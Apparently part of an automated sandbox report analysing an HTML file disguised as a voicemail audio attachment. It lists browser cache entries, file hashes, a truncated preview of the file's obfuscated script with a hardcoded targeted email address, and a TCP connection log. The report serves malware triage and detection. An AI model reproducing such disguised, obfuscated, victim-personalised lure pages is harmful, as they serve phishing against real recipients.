Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,.......X.?......-....J.....I.;....t..FSw...a7i...c..Y{.-..>a..4h.Eo..c#...O....~..d....Z..z.'...s.D..E...jb.O.F..0.VW>..]%6........x..O>E.'a0U.....w....."..9.az.6....<a.?..<qvx........ct.K..s.C3..d#..#^R.z..A..u.f..........s.....M.rb(.\v.....%.k....i.f...,C.s..bY..K#...~.>..D..j....m.71..}...37h........P{..7!@...\|..ZR.]V....."...0.o....7..peCG....px..j.%r2.....R.k5m..s.

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 23 x 98, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPlm9L5kBxl/k4E08up:6v/lhP4oB7Tp
MD5:	77B84F2C953ED24A512C10EA6640569D
SHA1:	85CCAE14DED787C423A1C470EF42C48BB7333758
SHA-256:	3CD8838AC4849DBFDA3F0EDCAE249507117EF3B283F250035CBBDB524D196ACA
SHA-512:	8645C7550CD02E9679648C4F3D95D07F428B624A3EFAD3C881C744173360CE977C571584F6E4EF2F066D31C72CD91496278CE34DBC103428D43E938C290884FA
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8fed80f51d3e0f6d/1736353110853/VkuISg1nVdIHrU2
Preview:	.PNG........IHDR.......b.....4......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142367
Category:	dropped
Size (bytes):	49911
Entropy (8bit):	7.994516776763163
Encrypted:	true
SSDEEP:	1536:vr2T/J/l2R6ACJVMQPYmlBXTm12g9bcKo0y0ci:CzJ/lG2KQzBjm1b3ci
MD5:	9B96CC09F9E89D0334BA2FBC22B5197A
SHA1:	B5FE69F39E9F61FEF88DF794F02DC4F4086E2592
SHA-256:	E6331018533143C411BAE25326AB52FCED541C48674551AEA78E750855BDCD1D
SHA-512:	2BDD71A34A7D6172AD4B7B6CF077A891D6266C148000EEF8345E2343E6C21ED8783B2EA328EF3BF7176462A3CA575D2D6D4B55A07138CFD1B02900C95F61077D
Malicious:	false
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 text, with very long lines (1048), with CRLF line terminators
Entropy (8bit):	4.341796845348018
TrID:	HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (11001/1) 26.83% HyperText Markup Language (6006/1) 14.65%
File name:	Play_VM-NowAccountingAudiowav011.html
File size:	3'750 bytes
MD5:	f8ea7eb9e0f0bda430041f778fdaea53
SHA1:	4ca202a95656dad9e74be88ff964f32f8f83c8e2
SHA256:	5b0bb6db294468917784a1e52b06d5b946cde8ef678df1c62270970b6eb16fdb
SHA512:	cc99d591a06ee3b4edeaf3e39599fdc36c0bde6069727375abfa4aeec2d2a7cf44cafa5d85af450676358f2f5abfdbc3956c8af4bf6f99e0e7eccda4edad57ae
SSDEEP:	48:hcVSKOJ2rtQ+vsr/k0LlsmVjlD67lH2ujlIeK/TLOttbCUglchltQDQUuxlUlbI0:is2r7qV6mz67s99r4gHCwNIhD5ILn
TLSH:	FB71CB22647F448D64E5E5ED78476DBA809C2FE1C23890247FDDA49D8FA9CD8CD24AC3
File Content Preview:	<html><head><meta charset="UTF-8"></head><body><script>..hemlock = '#Maccounting@pointloma.edu';..let EojcYvKkFxWP = "";..const sFfDXxsgXfEx = ["...", "...", "...", "..."];....function ombfzQlDYzep(fqAThTqRYQCq) {.. return fqAThTqRYQCq.toString(4).spli

File Icon


Icon Hash:	173149cccc490307

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 17:18:23.709923983 CET	49705	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:23.709980011 CET	443	49705	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:23.710035086 CET	49705	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:23.710282087 CET	49705	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:23.710292101 CET	443	49705	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:24.320872068 CET	443	49705	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:24.321113110 CET	49705	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:24.321121931 CET	443	49705	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:24.322119951 CET	443	49705	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:24.322207928 CET	49705	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:24.323168993 CET	49705	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:24.323235989 CET	443	49705	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:24.323332071 CET	49705	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:24.323339939 CET	443	49705	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:24.369468927 CET	49705	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:24.571558952 CET	443	49705	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:24.571579933 CET	443	49705	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:24.571645975 CET	443	49705	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:24.571650982 CET	49705	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:24.571683884 CET	49705	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:24.595707893 CET	49705	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:24.595738888 CET	443	49705	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:24.640515089 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:24.640561104 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:24.640636921 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:24.642472982 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:24.642499924 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:24.685741901 CET	49710	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:24.685791016 CET	443	49710	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:24.685867071 CET	49710	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:24.686060905 CET	49710	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:24.686072111 CET	443	49710	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:25.127528906 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.127830982 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.127860069 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.128962994 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.129026890 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.129987955 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.130048037 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.130172968 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.130181074 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.178452015 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.297879934 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.297919035 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.297952890 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.297970057 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.297974110 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.297998905 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.298012018 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.298439980 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.298465967 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.298507929 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.298516035 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.298563004 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.298707008 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.302601099 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.302628994 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.302683115 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.302696943 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.302742004 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.311817884 CET	443	49710	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:25.312060118 CET	49710	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:25.312097073 CET	443	49710	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:25.313066006 CET	443	49710	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:25.313134909 CET	49710	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:25.313458920 CET	49710	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:25.313529968 CET	443	49710	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:25.313575983 CET	49710	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:25.355336905 CET	443	49710	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:25.367436886 CET	49710	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:25.367465973 CET	443	49710	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:25.390304089 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.390383959 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.390408039 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.390444040 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.390470028 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.390929937 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.390955925 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.390973091 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.391365051 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.391391993 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.391423941 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.391433001 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.391444921 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.391458988 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.391484976 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.391496897 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.392381907 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.392410040 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.392435074 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.392457962 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.392462969 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.392472982 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.392483950 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.392508030 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.392530918 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.393281937 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.393318892 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.393347025 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.393364906 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.393369913 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.393378019 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.393389940 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.393424988 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.394064903 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.415478945 CET	49710	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:25.438483953 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.483402967 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.483544111 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.483588934 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.483762980 CET	49709	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.483797073 CET	443	49709	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.495697975 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.495740891 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.495798111 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.496014118 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.496026993 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.565591097 CET	443	49710	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:25.565620899 CET	443	49710	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:25.565677881 CET	443	49710	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:25.565700054 CET	49710	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:25.565746069 CET	49710	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:25.566639900 CET	49710	443	192.168.2.17	103.83.194.55
Jan 8, 2025 17:18:25.566668034 CET	443	49710	103.83.194.55	192.168.2.17
Jan 8, 2025 17:18:25.772990942 CET	49714	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:25.773065090 CET	443	49714	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:25.773135900 CET	49714	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:25.773401022 CET	49715	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:25.773431063 CET	443	49715	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:25.773549080 CET	49715	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:25.773729086 CET	49714	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:25.773750067 CET	443	49714	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:25.773946047 CET	49715	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:25.773955107 CET	443	49715	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:25.952169895 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.952557087 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.952579975 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.953645945 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.953730106 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.954052925 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.954121113 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:25.954301119 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:25.954308033 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.000469923 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.105499029 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.105559111 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.105588913 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.105616093 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.105649948 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.105652094 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.105676889 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.105691910 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.105715036 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.105719090 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.106133938 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.106180906 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.106184959 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.110199928 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.110227108 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.110253096 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.110265970 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.110291004 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.110310078 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.159472942 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.192156076 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.192230940 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.192262888 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.192300081 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.192310095 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.192320108 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.192351103 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.192857027 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.192889929 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.192922115 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.192949057 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.192949057 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.192960978 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.192975044 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.192995071 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.193527937 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.193588018 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.193619967 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.193627119 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.193631887 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.193666935 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.193667889 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.193676949 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.193708897 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.194442034 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.194502115 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.194534063 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.194541931 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.194546938 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.194581985 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.194583893 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.194591999 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.194628000 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.195271015 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.195380926 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.195451975 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.195547104 CET	49713	443	192.168.2.17	104.17.24.14
Jan 8, 2025 17:18:26.195569992 CET	443	49713	104.17.24.14	192.168.2.17
Jan 8, 2025 17:18:26.232146978 CET	443	49715	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.232400894 CET	49715	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.232409954 CET	443	49715	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.233434916 CET	443	49715	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.233555079 CET	49715	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.237783909 CET	49715	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.237842083 CET	443	49715	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.237884998 CET	49715	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.237884998 CET	49715	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.237906933 CET	49715	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.238214970 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.238255978 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.238343000 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.238580942 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.238598108 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.248126030 CET	443	49714	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.248404026 CET	49714	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.248431921 CET	443	49714	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.249294996 CET	443	49714	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.249361992 CET	49714	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.249636889 CET	49714	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.249674082 CET	49714	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.249690056 CET	443	49714	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.249720097 CET	49714	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.249747038 CET	49714	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.249953985 CET	49717	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.249995947 CET	443	49717	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.250303030 CET	49717	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.250519991 CET	49717	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.250531912 CET	443	49717	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.719839096 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.720113993 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.720140934 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.721209049 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.721275091 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.722151995 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.722215891 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.722342014 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.722352028 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.733336926 CET	443	49717	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.733526945 CET	49717	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.733553886 CET	443	49717	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.734411001 CET	443	49717	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.734469891 CET	49717	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.734719038 CET	49717	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.734780073 CET	443	49717	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.763458967 CET	49716	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.778460026 CET	49717	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:26.778492928 CET	443	49717	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:26.826468945 CET	49717	443	192.168.2.17	188.114.97.3
Jan 8, 2025 17:18:27.175853968 CET	443	49716	188.114.97.3	192.168.2.17
Jan 8, 2025 17:18:27.175932884 CET	443	49716	188.114.97.3	192.168.2.17
